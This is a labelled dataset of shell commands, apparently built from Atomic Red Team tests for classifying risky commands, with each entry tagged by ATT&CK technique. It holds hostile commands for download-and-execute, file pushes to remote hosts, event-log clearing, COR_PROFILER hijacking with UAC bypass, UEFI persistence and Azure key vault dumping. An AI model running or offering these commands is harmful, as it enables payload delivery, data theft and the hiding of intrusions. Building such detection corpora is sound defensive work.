cowWhySo/permission-command-corpus huggingface dataset:
Command: del /f/s/q %temp%\T1105 >nul 2>&1 rmdir /s/q %temp%\T1105 >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Download a file with Microsoft Connection Manager Auto-Download
Notes: Uses the cmdl32 to download arbitrary file from the internet. The cmdl32 package is allowed to install the profile used to launch the VPN connection. However, the config is modified to download the arbitary file. 
The issue of cmdl32.exe detecting and deleting the payload by identifying it as not a VPN Servers profile is avoided by setting a temporary TMP folder and denying the delete permission to all files for the user.
Upon successful execution the test will open calculator and Notepad execut
Command: del %TEMP%\PrintBrm.zip >nul 2>&1 #{Path_PrintBrm} -b -d #{Path_unc} -f %TEMP%\PrintBrm.zip -O FORCE
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Printer Migration Command-Line Tool UNC share folder into a zip file
Notes: Create a ZIP file from a folder in a remote drive
Command: del %TEMP%\PrintBrm.zip >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Printer Migration Command-Line Tool UNC share folder into a zip file
Notes: Create a ZIP file from a folder in a remote drive
Command: del %TEMP%\redcanary.cab >nul 2>&1 #{Path_replace} "#{replace_cab}" %TEMP% /A
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Lolbas replace.exe use to copy file
Notes: Copy file.cab to destination
Reference: https://lolbas-project.github.io/lolbas/Binaries/Replace/
Command: del %TEMP%\redcanary.cab >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Lolbas replace.exe use to copy file
Notes: Copy file.cab to destination
Reference: https://lolbas-project.github.io/lolbas/Binaries/Replace/
Command: del %TEMP%\redcanary.cab >nul 2>&1 #{Path_replace} #{replace_cab} %TEMP% /A
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Lolbas replace.exe use to copy UNC file
Notes: Copy UNC file to destination
Reference: https://lolbas-project.github.io/lolbas/Binaries/Replace/
Command: certreq.exe -Post -config #{remote_file} c:\windows\win.ini #{local_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: certreq download
Notes: Use certreq to download a file from the web
Command: wscript.exe "#{vbscript_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Download a file using wscript
Notes: Use wscript to run a local VisualBasic file to download a remote file
Command: del Atomic-License.txt >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Download a file using wscript
Notes: Use wscript to run a local VisualBasic file to download a remote file
Command: curl -sO #{remote_url}; chmod +x #{payload_name} | bash #{payload_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: linux
ATT&CK tags: T1105
Source rule: Linux Download File and Run
Notes: Utilize linux Curl to download a remote file, chmod +x it and run it.
Command: rm #{payload_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: linux
ATT&CK tags: T1105
Source rule: Linux Download File and Run
Notes: Utilize linux Curl to download a remote file, chmod +x it and run it.
Command: cmd /c "PathToAtomicsFolder\..\ExternalPayloads\nimgrab.exe" #{remote_file} #{destination_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Nimgrab - Transfer Files
Notes: Use nimgrab.exe to download a file from the web.
Command: del #{destination_path} >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Nimgrab - Transfer Files
Notes: Use nimgrab.exe to download a file from the web.
Command: powershell.exe iwr -URI #{remote_file} -Outfile #{local_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: iwr or Invoke Web-Request download
Notes: Use 'iwr' or "Invoke-WebRequest" -URI argument to download a file from the web. Note: without -URI also works in some versions.
Command: del %temp%\Atomic-license.txt >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: iwr or Invoke Web-Request download
Notes: Use 'iwr' or "Invoke-WebRequest" -URI argument to download a file from the web. Note: without -URI also works in some versions.
Command: mkdir "c:\Temp" cd #{working_dir} GUP.exe -unzipTo "" "C:\Temp" "Sample #{target_file_url} #{target_file_sha256}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Arbitrary file download using the Notepad++ GUP.exe binary
Notes: GUP is an open source signed binary used by Notepad++ for software updates, and can be used to download arbitrary files(.zip) from internet/github.
[Reference](https://x.com/nas_bench/status/1535322182863179776?s=20)
Upon execution, a sample zip file will be downloaded to C:\Temp\Sample folder
Command: rmdir /s /q "C:\Temp\Sample" >nul 2>nul
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Arbitrary file download using the Notepad++ GUP.exe binary
Notes: GUP is an open source signed binary used by Notepad++ for software updates, and can be used to download arbitrary files(.zip) from internet/github.
[Reference](https://x.com/nas_bench/status/1535322182863179776?s=20)
Upon execution, a sample zip file will be downloaded to C:\Temp\Sample folder
Command: nscurl -k "#{remote_file}" -o "#{destination_path}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: macos
ATT&CK tags: T1105
Source rule: File download via nscurl
Notes: Use nscurl to download and write a file/payload from the internet.
-k = Disable certificate checking
-o = Output destination
Command: rm "#{destination_path}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: macos
ATT&CK tags: T1105
Source rule: File download via nscurl
Notes: Use nscurl to download and write a file/payload from the internet.
-k = Disable certificate checking
-o = Output destination
Command: sqlcmd -i #{remote_url} -o #{local_file_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: File Download with Sqlcmd.exe
Notes: One of the windows packages 'Sqlcmd.exe' can be abused to download malicious files from C2 servers
This Atomic will exhibit the similar behavior by downloading a sample zip file from src directory of this Technique folder via GitHub URL
Command: rm "#{local_file_path}" 2>$null | Out-Null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: File Download with Sqlcmd.exe
Notes: One of the windows packages 'Sqlcmd.exe' can be abused to download malicious files from C2 servers
This Atomic will exhibit the similar behavior by downloading a sample zip file from src directory of this Technique folder via GitHub URL
Command: fsutil file createnew C:\Temp\T1105_scp.zip 1048576 echo y | #{pscp_binary} -P #{scp_port} -pw #{scp_password} #{exfil_package} #{scp_user}@#{target_location}:#{target_filename}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Remote File Copy using PSCP
Notes: Copy a staged file using PSCP.exe to a public target location.
Command: del /f /q #{exfil_package}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Remote File Copy using PSCP
Notes: Copy a staged file using PSCP.exe to a public target location.
Command: # Check if the folder exists, create it if it doesn't $folderPath = "#{local_path}" if (-Not (Test-Path -Path $folderPath)) { New-Item -Path $folderPath -ItemType Directory } # Create the file $filePath = Join-Path -Path $folderPath -ChildPath "#{file_name}" New-Item -Path $filePath -ItemType File -Force Write-Output "File created: $filePath" # Attack command scp.exe #{local_path}\#{file_name} #{username}@#{remote_host}:#{remote_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Windows push file using scp.exe
Notes: This test simulates pushing files using SCP on a Windows environment.
Command: $filePath = Join-Path -Path "#{local_path}" -ChildPath "#{file_name}" Remove-Item -Path $filePath -Force -erroraction silentlycontinue Write-Output "File deleted: $filePath"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Windows push file using scp.exe
Notes: This test simulates pushing files using SCP on a Windows environment.
Command: scp.exe #{username}@#{remote_host}:#{remote_path} #{local_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Windows pull file using scp.exe
Notes: This test simulates pulling files using SCP on a Windows environment.
Command: # Check if the folder exists, create it if it doesn't $folderPath = "#{local_path}" if (-Not (Test-Path -Path $folderPath)) { New-Item -Path $folderPath -ItemType Directory } # Create the file $filePath = Join-Path -Path $folderPath -ChildPath "#{file_name}" New-Item -Path $filePath -ItemType File -Force Write-Output "File created: $filePath" # Attack command echo "put #{local_path}\#{file_name}" | sftp #{username}@#{remote_host}:#{remote_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Windows push file using sftp.exe
Notes: This test simulates pushing files using SFTP on a Windows environment.
Command: $filePath = Join-Path -Path "#{local_path}" -ChildPath "#{file_name}" Remove-Item -Path $filePath -Force Write-Output "File deleted: $filePath"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Windows push file using sftp.exe
Notes: This test simulates pushing files using SFTP on a Windows environment.
Command: sftp.exe #{username}@#{remote_host}:#{remote_path} #{local_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Windows pull file using sftp.exe
Notes: This test simulates pulling files using SFTP on a Windows environment.
Command: Remove-Item -Path "HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig" -Force -ErrorAction Ignore Remove-Item -Path "$env:LOCALAPPDATA\Microsoft\OneDrive\StandaloneUpdater\PreSignInSettingsConfig.json" -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: windows
ATT&CK tags: T1105
Source rule: Download a file with OneDrive Standalone Updater
Notes: Uses OneDrive Standalone Updater to download a file from a specified URL by setting up the required registry keys.
This technique can be used to download files without executing anomalous executables.
Reference: https://lolbas-project.github.io/lolbas/Binaries/OneDriveStandaloneUpdater/
Command: kubectl run #{pod_name} --image=#{image_name} --restart=Never --rm -it -- curl -ksL #{remote_url}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1105
Platform: containers
ATT&CK tags: T1105
Source rule: Curl Insecure Connection from a Pod
Notes: Launches an Ubuntu pod, installs curl, and executes curl with insecure flags (-k/--insecure)
against a target URL. The pod is automatically deleted after execution.
Command: echo "Creating %systemroot%\wpbbin.exe" New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1542.001
Platform: windows
ATT&CK tags: T1542.001
Source rule: UEFI Persistence via Wpbbin.exe File Creation
Notes: Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms.
- https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c
- http://download.microsoft.com/download/8/a/2/8a2fb72d-9b96-4e2d-a559-4a27cf905a80/windows-platform-binary-table.docx
- https://github.com/tandasat/WPBT-Builder
Command: echo "Removing %systemroot%\wpbbin.exe" Remove-Item -Path "$env:SystemRoot\System32\wpbbin.exe"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1542.001
Platform: windows
ATT&CK tags: T1542.001
Source rule: UEFI Persistence via Wpbbin.exe File Creation
Notes: Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms.
- https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c
- http://download.microsoft.com/download/8/a/2/8a2fb72d-9b96-4e2d-a559-4a27cf905a80/windows-platform-binary-table.docx
- https://github.com/tandasat/WPBT-Builder
Command: mavinject $pid /INJECTRUNNING "#{file_name}" Invoke-WebRequest #{server_name} -UseBasicParsing
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1056.004
Platform: windows
ATT&CK tags: T1056.004
Source rule: Hook PowerShell TLS Encrypt/Decrypt Messages
Notes: Hooks functions in PowerShell to read TLS Communications
Command: wevtutil cl #{log_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.001
Platform: windows
ATT&CK tags: T1070.001
Source rule: Clear Logs
Notes: Upon execution this test will clear Windows Event Logs. Open the System.evtx logs at C:\Windows\System32\winevt\Logs and verify that it is now empty.
Command: $logs = Get-EventLog -List | ForEach-Object {$_.Log} $logs | ForEach-Object {Clear-EventLog -LogName $_ } Get-EventLog -list
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.001
Platform: windows
ATT&CK tags: T1070.001
Source rule: Delete System Logs Using Clear-EventLog
Notes: Clear event logs using built-in PowerShell commands.
Upon successful execution, you should see the list of deleted event logs
Upon execution, open the Security.evtx logs at C:\Windows\System32\winevt\Logs and verify that it is now empty or has very few logs in it.
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1070.001\src\T1070.001-macrocode.txt" -officeProduct "Word" -sub "ClearLogs"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1070.001
Platform: windows
ATT&CK tags: T1070.001
Source rule: Clear Event Logs via VBA
Notes: This module utilizes WMI via VBA to clear the Security and Backup eventlogs from the system. 

Elevation is required for this module to execute properly, otherwise WINWORD will throw an "Access Denied" error
Command: Remove-Item -Path "HKCU:\Software\Classes\CLSID\#{clsid_guid}" -Recurse -Force -ErrorAction Ignore Remove-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING" -Force -ErrorAction Ignore | Out-Null Remove-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -Force -ErrorAction Ignore | Out-Null Remove-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER_PATH" -Force -ErrorAction Ignore | Out-Null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1574.012
Platform: windows
ATT&CK tags: T1574.012
Source rule: User scope COR_PROFILER
Notes: Creates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER).
The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process.
Additionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity.
If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however,
the not
Command: Write-Host "Creating system environment variables" -ForegroundColor Cyan New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -PropertyType String -Value "#{file_name}" -Force | Out-Null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1574.012
Platform: windows
ATT&CK tags: T1574.012
Source rule: System Scope COR_PROFILER
Notes: Creates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect.
The unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity
level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will
still execute each time the CLR is l
Command: Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -Force -ErrorAction Ignore | Out-Null Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -Force -ErrorAction Ignore | Out-Null Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -Force -ErrorAction Ignore | Out-Null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1574.012
Platform: windows
ATT&CK tags: T1574.012
Source rule: System Scope COR_PROFILER
Notes: Creates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect.
The unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity
level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will
still execute each time the CLR is l
Command: $env:COR_ENABLE_PROFILING = 1 $env:COR_PROFILER = '#{clsid_guid}' $env:COR_PROFILER_PATH = '"#{file_name}"' POWERSHELL -c 'Start-Sleep 1'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1574.012
Platform: windows
ATT&CK tags: T1574.012
Source rule: Registry-free process scope COR_PROFILER
Notes: Creates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.

Reference: https://redcanary.com/blog/cor_profiler-for-persistence/
Command: $env:COR_ENABLE_PROFILING = 0 $env:COR_PROFILER = '' $env:COR_PROFILER_PATH = ''
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1574.012
Platform: windows
ATT&CK tags: T1574.012
Source rule: Registry-free process scope COR_PROFILER
Notes: Creates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.

Reference: https://redcanary.com/blog/cor_profiler-for-persistence/
Command: Import-Module "PathToAtomicsFolder/T1595.003/src/WebServerScan.ps1" Invoke-WordlistScan -Target "#{target}" -Wordlist "#{wordlist}" -Timeout "#{request_timeout}" -OutputFile "#{output_file}" Write-Host "Scan complete. Results saved to: #{output_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1595.003
Platform: windows,linux,macos
ATT&CK tags: T1595.003
Source rule: Web Server Wordlist Scan
Notes: This test will scan a target system with a wordlist of common directories and file paths.
Command: import-module "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1" $Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password Connect-AzureRmAccount -Credential $Credential Get-AzurePasswords -subscription '#{subscription_id}' > #{output_file} cat #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.006
Platform: iaas:azure
ATT&CK tags: T1555.006
Source rule: Azure - Dump All Azure Key Vaults with Microburst
Notes: Upon successful execution of this test, the names, locations, and contents of key vaults within an Azure account will be output to a file.
See - https://www.netspi.com/blog/technical/cloud-penetration-testing/a-beginners-guide-to-gathering-azure-passwords/
Command: remove-item #{output_file} -force -erroraction silentlycontinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1555.006
Platform: iaas:azure
ATT&CK tags: T1555.006
Source rule: Azure - Dump All Azure Key Vaults with Microburst
Notes: Upon successful execution of this test, the names, locations, and contents of key vaults within an Azure account will be output to a file.
See - https://www.netspi.com/blog/technical/cloud-penetration-testing/a-beginners-guide-to-gathering-azure-passwords/
Command: export #{proxy_scheme}_proxy=#{proxy_server}:#{proxy_port} curl #{test_url}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1090.001
Platform: linux,macos
ATT&CK tags: T1090.001
Source rule: Connection Proxy
Notes: Enable traffic redirection.

Note that this test may conflict with pre-existing system configuration.
Command: unset #{proxy_scheme}_proxy [ "#{run_squid}" == "true" ] && (kill -9 $(ps aux | grep "squid -N" | grep -v "grep" | awk '{print $2}'))
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1090.001
Platform: linux,macos
ATT&CK tags: T1090.001
Source rule: Connection Proxy
Notes: Enable traffic redirection.

Note that this test may conflict with pre-existing system configuration.
Command: networksetup -setwebproxy #{interface} #{proxy_server} #{proxy_port} networksetup -setsecurewebproxy #{interface} #{proxy_server} #{proxy_port}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1090.001
Platform: macos
ATT&CK tags: T1090.001
Source rule: Connection Proxy for macOS UI
Notes: Enable traffic redirection on macOS UI (not terminal).
The test will modify and enable the "Web Proxy" and "Secure Web Proxy" settings  in System Preferences => Network => Advanced => Proxies for the specified network interface.

Note that this test may conflict with pre-existing system configuration.
Command: networksetup -setwebproxystate #{interface} off networksetup -setsecurewebproxystate #{interface} off
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1090.001
Platform: macos
ATT&CK tags: T1090.001
Source rule: Connection Proxy for macOS UI
Notes: Enable traffic redirection on macOS UI (not terminal).
The test will modify and enable the "Web Proxy" and "Secure Web Proxy" settings  in System Preferences => Network => Advanced => Proxies for the specified network interface.

Note that this test may conflict with pre-existing system configuration.